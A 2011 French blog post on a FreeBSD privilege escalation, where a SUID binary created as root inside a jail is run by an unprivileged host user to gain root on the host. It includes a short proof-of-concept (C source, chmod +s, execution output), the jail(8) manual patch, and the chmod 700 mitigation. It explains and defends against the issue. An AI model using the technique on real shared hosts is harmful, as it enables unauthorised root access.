May 2011 Archives

10-05-2011 00:10:55

[FreeBSD] Privilege Escalation using Jails

Une discussion intéressante est en cours sur la mailing security de freebsd. Ce n'est pas forcément nouveau mais cela est remis au gout du jour depuis le post suivant.
Si un utilisateur obtient le root dans une jail FreeBSD et qu'il crée un executable SUID, alors un utilisateur sans privilège peut exécuter ce binaire avec des droits root depuis le host pour ainsi obtenir une élévation de privilège sur le host.

Ex :
Depuis une jail :
[root@jail ~]# cat suid.c
#include <stdio.h>
main(){
system("whoami");
}
[root@jail ~]# gcc -o suid suid.c
[root@jail ~]# chmod +s suid
[root@jail ~]# ls -l suid
-rwsr-sr-x  1 root  wheel        8 May  9 23:38 suid
Depuis le host :
[cloud@host /usr/home/cloud]$ /usr/jails/jail/root/suid
root
Ce problème a déjà été évoqué en 2009 mais sans suite. L'équipe Security FreeBSD a choisi de laisser cela sans correctif technique. En effet une jail n'est pas un système comparable à une machine virtuelle et l'isolement n'a rien à voir. Du coup ce comportement n'est pas choquant et forcer le correctif imposerait une architecture pouvant devenir contraignante. Il a donc été décidé de patcher cela au niveau de la documentation en indiquant qu'un utilisateur non privilégié du host ne doit pas avoir accès aux jails. Voici le patch du manuel.
--- head/usr.sbin/jail/jail.8    Sun May  8 12:16:39 2011        
(r221654)
+++ head/usr.sbin/jail/jail.8    Sun May  8 12:16:39 2011        
(r221655)
@@ -34,7 +34,7 @@
 .\"
 .\" $FreeBSD$
 .\"
-.Dd January 17, 2010
+.Dd May 8, 2011
 .Dt JAIL 8
 .Os
 .Sh NAME
@@ -431,7 +431,7 @@ command script can be used:
 .Bd -literal
 D=/here/is/the/jail
 cd /usr/src
-mkdir -p $D
+mkdir -p -m 0700 $D
 make world DESTDIR=$D
 make distribution DESTDIR=$D
 mount -t devfs devfs $D/dev
@@ -448,6 +448,10 @@ in the per-jail devfs.
 A simple devfs ruleset for jails is available as ruleset #4 in
 .Pa /etc/defaults/devfs.rules .
 .Pp
+Non-superusers in the host system should not be able to access the 
+jail's files; otherwise an attacker with root access to the jail
+could obtain elevated privileges on the host.
+.Pp
 In many cases this example would put far more in the jail than needed.
 In the other extreme case a jail might contain only one file:
 the executable to be run in the jail.
 
La recommandation est donc d'avoir ses jails 3 niveaux en dessous de / et de faire un chmod 700 sur les jails (le 2 niveau). En gros il faut avoir ses jails sous la forme /usr/jails/nomdunejail et faire un chmod 700 /usr/jails.

Appliqué et approuvé.

Posted by cloud | Permanent link | File under: FreeBSD, Security